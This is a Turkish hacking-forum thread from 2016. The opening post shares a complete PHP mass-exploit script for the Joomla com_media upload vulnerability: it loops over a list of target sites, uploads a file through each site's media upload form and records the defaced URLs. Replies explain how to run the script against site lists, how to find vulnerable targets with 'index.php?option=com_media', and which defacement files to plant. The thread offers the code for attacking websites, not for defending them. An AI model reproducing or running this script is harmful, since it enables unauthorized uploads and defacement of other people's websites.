PHP com_media Exploit

TheWayEnd · 19 Kas 2016

Merhaba Gençler

Exploit soranlar var

paylaşacağım exploit joomla com_media exploitidir.Açık Hala Mevcuttur.

PHP:

<?php
// Tu5b0l3d -IndoXploit-
// http://blog.indoxploit.or.id/2016/05/auto-exploiter-commedia.html
 
error_reporting(0);
 
function save($aso){
        $fp = @fopen("aq.htm", "a") or die("cant open file");
        fwrite($fp, $aso);
        fclose($fp);
}
if($argv[1] != ""){
$nama = $argv[1];
$buka=fopen("$nama","r");
$size=filesize("$nama");
$baca=fread($buka,$size);
$sites = explode("<br>", $baca);
$file = "sht.txt";
foreach($sites as $sitesn){
$site = parse_url($sitesn, PHP_URL_HOST);
$urlq = "http://$site";
echo "$urlq\n";
 $ch4 = curl_init ("$urlq/index.php?option=com_media&view=images&tmpl=component&fieldid=&e_name=jform_articletext&asset=com_content&author=&folder=");
                    curl_setopt ($ch4, CURLOPT_RETURNTRANSFER, 1);
                    curl_setopt ($ch4, CURLOPT_FOLLOWLOCATION, 1);
                    curl_setopt ($ch4, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
                    curl_setopt ($ch4, CURLOPT_SSL_VERIFYPEER, 0);
                    curl_setopt ($ch4, CURLOPT_SSL_VERIFYHOST, 0);
                    curl_setopt($ch4, CURLOPT_COOKIEJAR,'coker_log');
                curl_setopt($ch4, CURLOPT_COOKIEFILE,'coker_log');
              
                    $data = curl_exec ($ch4);
                    curl_close($ch4);
 
                    preg_match("/<form action=\"(.*?)\" id=\"uploadForm\"/", $data, $action);
                    preg_match("/name=\"return-url\" value=\"(.*?)\"/", $data, $return);
                    $action = $action[1];
                    echo "$action\n";
                    echo "$return[1]\n";
 
 
$post = array("Filedata[]" => "@$file",
        "return-url" => "$return[1]",
          
            );
 
                  
                    $ch2 = curl_init ("$action");
                    curl_setopt ($ch2, CURLOPT_RETURNTRANSFER, 1);
                    curl_setopt ($ch2, CURLOPT_FOLLOWLOCATION, 1);
                    curl_setopt ($ch2, CURLOPT_SSL_VERIFYPEER, 0);
                    curl_setopt ($ch2, CURLOPT_SSL_VERIFYHOST, 0);
                    curl_setopt ($ch2, CURLOPT_POST, 1);
                    curl_setopt ($ch2, CURLOPT_POSTFIELDS, $post);
                    curl_setopt($ch2, CURLOPT_COOKIEJAR,'coker_log');
                curl_setopt($ch2, CURLOPT_COOKIEFILE,'coker_log');
                    $data2 = curl_exec ($ch2);
                                  
curl_close($ch2);
 
$a = file_get_contents("$urlq/images/$file");
if(preg_match("/Hacked/i", $a)){
    echo "Ok\n$urlq/images/$file\n\n";
    save("<a href='$urlq/images/$file'>$urlq/images/$file</a><br>");
  
}
else{
    echo "NO\n\n";
}
}
}
else{
    echo "usage php $argv[0] target.txt\n\n";
}
?>

palme22 · 19 Kas 2016

teşekkürler paylaşımlarınızı bekliyoruz.d

TheWayEnd · 19 Kas 2016

İyi günlerde kullan

Hacker047 · 19 Kas 2016

Güzel anlatım teşekkürler ,

TheWayEnd · 19 Kas 2016

Rica Ederim Herkes anlasın diye detaylı girdim konuya

palme22 · 19 Kas 2016

bu php kısmında pc de neler yüklü olması gerek ben tam çalıştıramadım

TheWayEnd · 19 Kas 2016

appserver kur kafi gelir

tekarizma · 20 Kas 2016

bu açık sadece .txt uzantı mı yükletmeye izin veriyor

TheWayEnd · 20 Kas 2016

gif te yükleniyor ama exploit txt üzerine

dr avatar · 20 Kas 2016

TheWayEnd · 20 Kas 2016

Thank you bro

Dj_Taleh · 20 Kas 2016

eski bir acik evet ama hala aktifligini sakliyor valla

ama brom /images/hack.txt yahutta hack.gif o kadarda urekacan degil

bizimki index.html owned

qraLbosp · 20 Kas 2016

eywallah kardeşim

palme22 · 20 Kas 2016

Hack3r-TR' Alıntı:
eski bir acik evet ama hala aktifligini sakliyor valla

ama brom /images/hack.txt yahutta hack.gif o kadarda urekacan degil
bizimki index.html owned

bu site sonuna /index.html atabileceimiz bir exploit var mı

Dj_Taleh · 20 Kas 2016

evet vardir ama soylemiyoruz

cunki yeniler /images/hack.txt baslasinda gorelim

palme22 · 20 Kas 2016

Hack3r-TR' Alıntı:
evet vardir ama soylemiyoruz

cunki yeniler /images/hack.txt baslasinda gorelim

ov

bekliyoruz paylaşmanızı artık

palme22 · 17 Ara 2016

http://i.hizliresim.com/Jq3QEj.png olmuyor yardımcı olabilir misiniz ?

Hack3r_Amo · 18 Ara 2016

eywallah

Y1LD1Z · 27 Ara 2016

Yardım edebilir misin @TheWayEnd

TheWayEnd · 27 Ara 2016

Y1LD1Z' Alıntı:
Yardım edebilir misin @TheWayEnd

Hangi Konuda

Y1LD1Z · 27 Ara 2016

Usta ben denedim de olmadı şöyle yaptım
hepsinin sonuna öyle koydum
www.site.com/images/y1ld1z.txt
exploiti çalıştırdım sonrada lazerled.net normal site çıktı
kısacası yapamadım

TheWayEnd · 27 Ara 2016

sitelisttende sadece url olacak

http://siteadi.com/ şeklinde yapacaksın listesi aynı klasöre a.htm koy çalıştır exploti

Y1LD1Z · 28 Ara 2016

Peki usta bide bu siteler nasıl buldun kodu felan vardır mutlaka değilmi

Y1LD1Z · 28 Ara 2016

Usta rica etsem sen bi PM'ye gelsen

TheWayEnd · 28 Ara 2016

index.php?option=com_media

Y1LD1Z · 28 Ara 2016

TheWayEnd' Alıntı:
index.php?option=com_media

Usta rica etsem bi PM baksan

TheWayEnd · 28 Ara 2016

baktım

root@tnc:~& · 30 Ara 2016

Expoliti nasıl çalıştıracağımı anlamadım ben .d

TheWayEnd · 30 Ara 2016

masa üstüne klasör aç içine exploiti birde upload etmek istediğin txt'yi koy ve birde site listeni oy
exploitteki sht.txt değiştir dosya içindeki txt adını yaz
başlat > çalıştır > cmd > cd desktop > cd dosyadı yaz sonra
php exploit.php sitelist.txt yap
hacklenenleri klasör içine .htm olarak açacak bu kadar

root@tnc:~& · 30 Ara 2016

vallaha anladım eyv bro

PHP com_media Exploit

About Us & Legal Notice